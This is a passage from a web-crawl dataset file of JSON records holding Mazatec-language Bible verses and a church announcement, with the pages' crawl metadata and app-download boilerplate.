1.0000098943710327}","num_words":473,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jtín‑le̱ xti xi én‑le̱ Niná kòtꞌayà xi nchja̱‑ni ꞌnde‑ná ni̱chrjin sá marzo nó 2013 kꞌitsꞌia‑ni nga tsakatiojtín. koi̱ nga ñaki kjoa̱kìxi̱ nga kàtamajchínga jè kjoa̱bijnacho̱n‑le̱ jè xti xi makjaín‑le̱ i̱ ꞌnde‑ná, nga kàtamataja kjoa̱makjaín‑le̱ kꞌoa̱ nga koan koitsoya jè én‑le̱ Niná kꞌoa̱ nga kao̱ jè nganꞌión‑le̱ xti nga koinchroé jè kjoa̱téxoma‑le̱ Niná ngatsꞌi jè xti xi kje makjaín‑le̱ jo tsò‑ná ya̱ 1Corintios 15:58 kꞌoa̱ ndꞌai xí xín ꞌnde kꞌoa̱ xín xín yo̱ngo̱ bátiótjín‑ni nga xki sá kꞌoa̱ jàn jkoya̱ tjín‑ni xi kótꞌayásòn:\n1.‑ Jè xá xi tjín‑le̱ kjoa̱bijnachon‑ná\n2.‑ Jòsꞌin matsen kjoa̱bijnachon‑na ya̱ ngixkon Niná\n3.‑ Jósꞌin koan sa‑ná xi tꞌatsꞌe̱ Niná\nKꞌoa̱ xo̱tó nga chrjaꞌaòn jà sá abril jè kjoa̱jtín ya̱ sꞌejna ya̱ San José Buenavista ꞌnde si ngixó nchja̱‑ni , kꞌoa̱ choa̱ ñajan nga tajniòn koetsꞌia‑ni kjoa̱jtín je . ¡Ya̱ choyá‑laìji̱n! ¡Lì nicha‑jìn!\nJmé xi koan sitsje‑ni jè ndia̱à‑le̱ xti. To̱ koi̱ nga skoétjaò jè én‑li̱.\nSalmos 119:9","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sanjosetenango.net\/mau\/jt%C3%ADn%E2%80%91le%CC%B1-xti-xi-%C3%A9n%E2%80%91le%CC%B1-nin%C3%A1-k%C3%B2t%EA%9E%8Cay%C3%A0-xi-nchja%CC%B1%E2%80%91ni-%EA%9E%8Cnde%E2%80%91n%C3%A1","date":"2023-06-06T04:20:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652207.81\/warc\/CC-MAIN-20230606013819-20230606043819-00479.warc.gz","language":"maa","language_score":0.9876912832,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9876912832260132, \"mau_Latn_score\": 0.010341706685721874}","num_words":142,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.239,"flagged_words_ratio":0.0,"lang_id_score":0.985,"perplexity_score":500.0,"cluster_detection":1} diff --git a/maa_Latn/fineweb-2_000001_remove.jsonl b/maa_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..2e10849a2839c3f4e6f49c783f8726c407e4c70a --- /dev/null +++ b/maa_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,61 @@ +{"text":"2 Corintios 8:6\n6 K'oa̱á ma-ne bítsi'ba-la̱je̱n Tito koni s'ín tsibíts'ia̱ko̱ xá xi kitjoé-la̱ k'e̱ nga sa̱ ítjòn, k'oa̱á tis'ín kàtasíkjehit'aà-ne nga kàtíxkó to̱n kjo̱tjò xi jñò 'bioò.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/8\/6","date":"2013-05-22T06:53:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701445114\/warc\/CC-MAIN-20130516105045-00010-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9584953189,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9584953188896179, \"maj_Latn_score\": 0.03410281613469124}","num_words":44,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":0.964,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"San Marcos 9:13\n13 Ta̱nga an, k'oa̱á xán-nò, jè Elías jye j'iì. Jñà xi̱ta̱ k'oa̱ás'ín kisiko̱ koni s'ín mejèn-la̱. Ta̱nga k'oa̱ás'ín tíchja̱ Xo̱jo̱n-la̱ Nainá nga k'oa̱ás'ín ko̱matin.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/9\/13","date":"2013-05-25T05:05:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705543116\/warc\/CC-MAIN-20130516115903-00056-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9852298498,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9852298498153687}","num_words":44,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"San Mateo 11:29\n29 Jchajen-ko̱-ná jè yá i̱bo̱ xi 'an 'yajen mé-ne nga ko̱ma-nò ko̱s'ín s'eèn koni s'ín s'iaàn 'an. K'oa̱s'ín t'e̱en koni 'an nga tjín-na kjoa̱tsejta ko̱ indaá kjoa̱ tjín ini̱ma̱-na̱. K'oa̱s'ín sakó-nò kjoa̱ níkjáya ts'e̱ ini̱ma̱-nò.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11\/29","date":"2013-06-18T21:08:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707188217\/warc\/CC-MAIN-20130516122628-00017-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9620309472,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9620309472084045, \"maj_Latn_score\": 0.0336056724190712}","num_words":55,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":0.969,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Apocalipsis 1:15\n15 Ntso̱ko̱ k'oa̱á kjoàn koni ki̱cha̱ sinè xi 'ñó ndaà ote k'e̱ nga jye sijiìn ni'ín. Jè jta̱-la̱, k'oa̱ás'ín na'yà-la̱ koni ñánda 'ñó je nandá tíbixoje̱n-tjòn.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/1\/15","date":"2013-05-21T18:00:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700380063\/warc\/CC-MAIN-20130516103300-00008-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9666801691,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9666801691055298, \"mau_Latn_score\": 0.013137194328010082}","num_words":45,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.975,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Apocalipsis 13:11\n11 Xi komà i̱skan kijtseè ìjngoà cho̱ je xi ch'o kji xi i̱tjo mijiìn-ne i̱jiìn nangui. Jò ma nchra̱já-la̱ xi k'oa̱ kjoàn koni nchra̱já-la̱ orrè. K'oa̱ás'ín chja̱ koni jngoò ye̱ xi 'ñó je kji.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/13\/11","date":"2013-05-19T19:52:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698017611\/warc\/CC-MAIN-20130516095337-00039-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9862665534,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.986266553401947}","num_words":53,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"San Marcos 9:20\n20 K'e̱é kiìko̱ jè ti ya̱ nguixko̱n Jesús; jè ini̱ma̱ ch'o-la̱ nei̱í, k'e̱ nga kijtseè Jesús, ìjngoò k'a k'en xín ti. K'e̱ nga kiskaàt'aà nangui tsangaya'nde̱ koa̱ itjo ndáxó tso'ba.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/9\/20","date":"2013-05-23T14:32:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703334458\/warc\/CC-MAIN-20130516112214-00084-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9914562702,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9914562702178955}","num_words":50,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Apocalipsis 1:2\n2 Ko̱ jè Juan tíchja̱ kixi̱-né [k'e̱ nga kiskiì] ngats'iì kjoa̱ xi kijtseè ko̱ xi kiì'nchré koni s'ín nga jè Jesucristo kiìchja̱ kixi̱-la̱ jñà 'én xi kitsjaà-la̱ Nainá.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/1\/2","date":"2013-06-20T01:20:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368709337609\/warc\/CC-MAIN-20130516130217-00078-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9861496687,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9861496686935425}","num_words":47,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2 Timoteo 1:5\n5 Bítsjeèn-na nga nguiì ndaà mokjeiín-lè i̱t'aà ts'e̱ Cristo koni s'ín kòkjeiín ítjòn-la̱ nea̱ájchá-lè Loida ko̱ nea̱-lè Eunice. An k'oa̱á s'ín makixi̱-na nga ngaji̱ ti̱koa̱ ndaà mokjeiín-lè.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/1\/5","date":"2013-05-25T23:54:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706472050\/warc\/CC-MAIN-20130516121432-00012-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9912730455,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.991273045539856}","num_words":46,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Filipenses 3:21\n21 Jè si̱ìkjatjìya-la̱ yijo ni'nde-ná; k'oa̱á kji ko̱ma koni kji ts'e̱ jè, nga jeya kji. Jè si̱ìkjeén nga'ñó xi tjín-la̱ nga jè otíxoma yije-la̱ ni̱ta̱mé xi tjín.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Phil\/3\/21","date":"2013-06-19T15:30:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708835190\/warc\/CC-MAIN-20130516125355-00017-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9755527377,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9755527377128601, \"mau_Latn_score\": 0.016641467809677124}","num_words":46,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.217,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Filipenses 3:14\n14 Tífì tji̱ngui-la̱ skanda ñánda fehit'aà-ne, mé-ne nga tjoé-na kjo̱tjò xi Nainá tsjá-na nga xó kiìchja̱-na Nainá ján ngajmiì nga Cristo Jesús tijna̱koa̱a.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Phil\/3\/14","date":"2013-05-21T19:23:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700477029\/warc\/CC-MAIN-20130516103437-00089-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.8957583308,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.895758330821991, \"mau_Latn_score\": 0.07890567183494568, \"vmy_Latn_score\": 0.011715096421539783}","num_words":42,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.885,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"San Mateo 24:27\n27 Koni ma ni'ín ch'o̱n k'e̱ nga ote ñánda bitjokàtji-ne ts'oí skanda ñánda okaàtjì-ne, k'oa̱á s'ín ko̱ma k'e̱ nga kjoia̱a ìjngoò k'a xi Ki'ndí-la̱ Xi̱ta̱ xan-la̱ yijo-na̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/24\/27","date":"2013-05-25T03:06:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705352205\/warc\/CC-MAIN-20130516115552-00009-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9536210299,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9536210298538208, \"maj_Latn_score\": 0.021491901949048042, \"vmy_Latn_score\": 0.014621821232140064}","num_words":47,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":0.979,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Gálatas 5:5\n5 Ta̱nga ngaje̱n, i̱t'aà ts'e̱é Ini̱ma̱ Tsjeè-la̱ Nainá titsa̱chiñá-laje̱n nga kixi̱ ki̱tsa̱jna-je̱n nga nguixko̱n Nainá nga ta koi kjoa̱-la̱ nga mokjeiín-naje̱n i̱t'aà ts'e̱ Cristo.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Gal\/5\/5","date":"2013-06-19T16:46:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708882773\/warc\/CC-MAIN-20130516125442-00060-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9902479053,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.990247905254364}","num_words":43,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2 Tesalonicenses 3:1\n1 Ra feheßta-ni, jiòn ndí ßntsè kô ndí tichjeé, tìtsaßbatji-nájîn mé-ni nga jè ßén-lâ Nainá ndîtôn katamaßbísòn-ni, tîßkoâ nda katayaßxkón koni ßsín kjomà yâ âßta tsâjiòn.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASAV\/2Thess\/3\/1","date":"2013-05-22T19:56:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702414478\/warc\/CC-MAIN-20130516110654-00014-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9376478791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9376478791236877}","num_words":45,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.95,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2 Corintios 10:13\n13 Ngaji̱n, mìkiì si̱katonè-la̱je̱n chi̱ba̱-la̱ nga ndaà si̱kítsa̱jnà-je̱n yijo-naje̱n. K'oa̱á kji koni kji tsjá chi̱ba̱ Nainá i̱t'aà ts'e̱ xá-naje̱n. Jè Nainá kitsjaà-naje̱n xá xi ijchòko̱-nòje̱n skanda ján Corinto.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/10\/13","date":"2013-06-19T03:08:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707440258\/warc\/CC-MAIN-20130516123040-00073-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9790558815,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9790558815002441, \"maj_Latn_score\": 0.011972695589065552}","num_words":47,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1 Corintios 16:19\n19 Jñà na̱xa̱ndá-la̱ Cristo xi títsa̱jna nangui Asia síhixat'aà-nò. Jè Aquila ko̱ Priscila ko̱ xi̱ta̱ na̱xa̱ndá-la̱ Cristo xi bixoña ya̱ ni'ya-la̱, i̱t'aà ts'e̱ Na̱'èn-ná ndaà síhixat'aà-nò.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/16\/19","date":"2013-05-23T02:26:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702749808\/warc\/CC-MAIN-20130516111229-00030-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9870744944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9870744943618774}","num_words":45,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2 Tesalonicenses 3:12\n12 Jñà xîtâ ra kôßsín închißsín, ßkoâá ßsín bißtin-jîn kô ßbì-lâjîn ßén ra âßta ßtsê Jesucristo ra tíjna ítjòn-ná, nga ßñó katasíxá nga kátabínè-lâ xá ijo-lâ mé-ni nga kôßsín koâàtsjißa-ni ijo-lâ.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASAV\/2Thess\/3\/12","date":"2013-05-25T20:31:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706298270\/warc\/CC-MAIN-20130516121138-00020-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9763792157,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9763792157173157}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":0.976,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1'Kia̱ nga ijye ijchò chraña ya̱ na̱xi̱ndá Jerusalén, ijchó jngo na̱xi̱ndá ra 'mì Betfagé ya̱ chraña'tá‑la̱ ya̱ nindo Yá Olivo. Jesús isìkasén jò xi̱ta̱ ra ya̱ kotá'yá'ta‑la̱. 2Kitsò‑la̱: ―Tangió ya̱ na̱xi̱ndá i̱tsé ra kjijna'ta ya̱ ján; ya̱á sa̱kò jngo‑no burra ra tjíté'ñó'ta jngo‑la̱ ndí búrró i'ndí. Chjíjnda̱'ñó ko̱ nchrabáko̱‑ná. 3Tsa yá ra kó ki̱tso̱‑no, ko̱'tìn‑la: \"Jè‑ró Jesús ra tíjna ítjòn ko̱chjeén‑la̱; tanga si̱ìkasén ndi̱to̱ón‑nì.\" 4'Kia̱ nga ko̱'sín kjomà, jè itjasòn koni 'sín ijye kiìchja̱ jè xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé nga kitsò: 5Ko̱'tìn‑la̱ jè na̱xi̱ndá ra 'mì Sión: \"Chítsijen‑la̱ jè Xi̱ta̱xá Ítjòn‑li, mì tsa 'nga tísíkíjna ijo‑la̱ nga tínchrabá katsíjen‑li; ta jngoó ndí búrró i̱tsé tíjnasòn‑la̱, jngo i'ndí‑la̱ ra cho̱ 'chá.\" 6Kijí jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ko̱ 'koa̱á 'sín ki'sìn koni 'sín nga isatéxá‑la̱. 7'Kia̱á 'jiìkó jè burra ko̱ jè ndí búrró i̱tsé; ya̱á tsakásòn‑la̱ nikje‑la̱. A̱kjòn tsikijnasòn‑la̱ Jesús. 8Jñà xi̱ta̱ ra 'ñó kjìn ma‑nioo̱ ya̱á tsakánda nikje‑la̱ ya̱ a̱ya ndi̱yá. Ko̱ tjín i'ka ra tsate chrja‑la̱ yá, a̱kjòn tsakánda ya̱ a̱ya ndi̱yáa̱. 9Jñà xi̱ta̱ ra tje̱n ítjòn‑la̱ ko̱ ra tje̱n‑ngi‑la̱ tsikí'tsia̱‑ní nga 'ñó kiìchja̱, kitsò: ―¡Jeya katijna jè ra ya̱ nchrabá‑ni tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David [nga̱ jè kíjna ngajo‑la̱]! ¡Mé ta̱ nda‑la̱ jè xi̱ta̱ ra nchrabá ngajo‑la̱ Nainá! ¡Jeya katijna Nainá ya̱ ján ngajmi! 10'Kia̱ nga 'jaha'sen Jesús ya̱ Jerusalén, ta yá ra maá itjo nga iskotsíjen‑la̱; kjín xi̱ta̱ iskonangi nga kitsò: ―¿Yá xi̱ta̱‑ni ra̱kìi̱? 11Ko̱ jñà xi̱ta̱ ra i'ka kitsó‑la̱: ―Jé xi̱ta̱ ra̱kìi̱ ra 'mì Jesús, ra síchjeén Nainá nga chja̱ ngajo‑la̱ ra ya̱ Nazaret i̱'nde‑la̱, nangi ra chja̱‑ni Galilea. 12'Jaha'seén Jesús ya̱ ndi̱tsin‑la̱ i̱ngo̱ ítjòn‑la̱ Nainá; tsachrje ijye nga'tsì xi̱ta̱ ra ya̱ i̱nchibatína ko̱ i̱nchibatse ya̱ ndi̱tsin‑la̱ i̱ngo̱. Isíkáfa tsakjàn jñà ímixa̱‑la̱ xi̱ta̱ ra síkaatjìya to̱n ko̱ jñà íxile̱‑la̱ jñà ra batína ni̱se paloma. 13Kitsò‑la̱: ―Jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá tsò‑ní: \"Jè ni'ya‑na̱, 'koa̱á 'sín ko̱chjeén nga ya̱ ki̱chja̱'ta‑na xi̱ta̱.\" Tanga jiòn, i̱'nde‑la̱ xi̱ta̱ chijé i̱nchi'nià. 14Ijchó ya̱ ndi̱tsin‑la̱ i̱ngo̱ ítjòn jñà xi̱ta̱ ra mì kì tsijen‑la̱ ko̱ ra tsjá'yá kjòn, ko̱ jè Jesús isindaá‑ni. 15Jñà na̱'mì ítjòn ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés kjokja̱án‑la̱ 'kia̱ nga kijtse jñà kjo̱xkón ra ki'sìn Jesús ko̱ 'kia̱ nga kií'nchré‑la̱ jñà ndí i̱xti ra 'ñó kiìchja̱ ya̱ ndi̱tsin i̱ngo̱ nga tsò: \"¡Jeya katijna jè ra ya̱ nchrabá‑ni tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David [nga̱ jè kíjna ngajo‑la̱]!\" 16'Kia̱á ki'mì‑la̱ Jesús: ―¿A na'yá‑ní koni 'sín nga i̱nchitsò jñà i̱xti kìi̱? Kitsó jè Jesús: ―Jon, tí'nchré‑ná. Tanga, ¿a kjeé chitá'yá jiòn jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá ñánda̱ nga tíchja̱ nga tsò? 'Koa̱á 'sín ki'nì nga jñà ndí i̱xti ra i̱tsíñá kjòn ko̱ jñà ra 'sa̱ i̱nchibaki, jñá‑ní ra kise nga 'nga isíkíjna‑li. 17Jesús, ya̱á kitsjin jñà xi̱ta̱ kìi̱, itjojin ya̱ na̱xi̱ndá ra̱kìi̱. Kijì na̱xi̱ndá Betania. Ya̱á isíkjáya. 18'Kia̱ nga ma ta̱jñò nga tífì india‑ni ya̱ Jerusalén jè Jesús, kjòhojó‑la̱. 19Kijtseé jngo yá‑la̱ to igo̱ ra ya̱ síjnandi chraña ya̱ a̱ndi ndi̱yáa̱. Kiì katsíjeén‑la̱, tanga ni̱mé to ijà‑la̱. Tà xka̱‑ní. 'Kia̱á kitsò Jesús: ―Kì ni̱ì‑ti̱‑jngo ni̱chjin to bajà‑li. Jè yá‑la̱ to igo̱ ta ndi̱to̱ón kixì. 20'Kia̱ nga kijtse jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, tà kjóxkón‑la̱. 'Kia̱á iskonangi, kitsò: ―¿Mé ta̱ ndi̱to̱n kaxì‑ni jè yá‑la̱ to igo̱? 21Jesús kitsó‑la̱: ―'Koa̱á xin kixi̱‑no, tsa nda makjiín‑no ra a̱'ta tsa̱'a̱n, ko̱ tsa mì jò tjín takòn, mì tsa ta jè ko̱ma‑no ko̱'sín 'sia̱an koni 'sín ka'sian ra 'a̱n, skanda ko̱maá‑no nga 'kín‑la̱ jè nindo ra̱kìi̱: \"Ti̱xín i̱jndíi̱; ko̱ ya̱ ti̱kàtje̱n‑jin ijo‑li ya̱ a̱jin ndáchikon\", ko̱ 'koa̱á 'sín ko̱ma. 22Ko̱ tsa makjiín‑no ra a̱'ta tsa̱'a̱n, ni̱'sín ta mé ra si̱jé 'kia̱ nga ki̱nákjoa̱'ta‑la̱ Nainá, 'ki̱í‑no. 23'Kia̱ nga 'jaha'sen ndi̱tsin‑la̱ i̱ngo̱ ítjòn jè Jesús nga ijye tíbakón‑ya, jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ jchínga 'tse̱ xi̱ta̱ Judío ijchò kincha'tá‑la̱ Jesús nga iskonangi‑la̱: ―¿Mé kjo̱téxoma ra tsjá'nde‑li nga ko̱'sín 'nì? ¿Yá ra kitsjà‑li kjo̱téxoma kìi̱? 24Jesús kitsó‑la̱: ―Ti̱'koa̱á 'a̱n, jngo 'én skonangi‑no. Tsa ko̱'kín‑ná jiòn, ti̱'koa̱á 'koa̱á xín‑no yá ra kitsjà‑na kjo̱téxoma koni 'sín nga 'siaa̱n. 25¿Yá ra kitsjà‑la̱ kjo̱téxoma jè Juan nga tsatíndá xi̱ta̱? ¿A jé Nainá ra tíjna ngajmi, o̱ ra xi̱ta̱‑ní? Jñà xi̱ta̱ kìi̱ 'kia̱á tsajo̱óya‑ni. Kitsò‑la̱ xákjién: ―Tsa kixé: \"Jè Nainá ra tíjna ngajmi\", kií‑la 'sín ki̱tso̱‑ná: \"¿Mé‑ni nga mì kì kjokjiín‑najiòn?\" 26Ko̱ tsa kixé: \"Xi̱ta̱á kitsjà‑la̱ kjo̱téxoma.\" Tanga jñà skon‑lá jñà xi̱ta̱; nga̱ nga'tsì jñà xi̱ta̱ na̱xi̱ndá 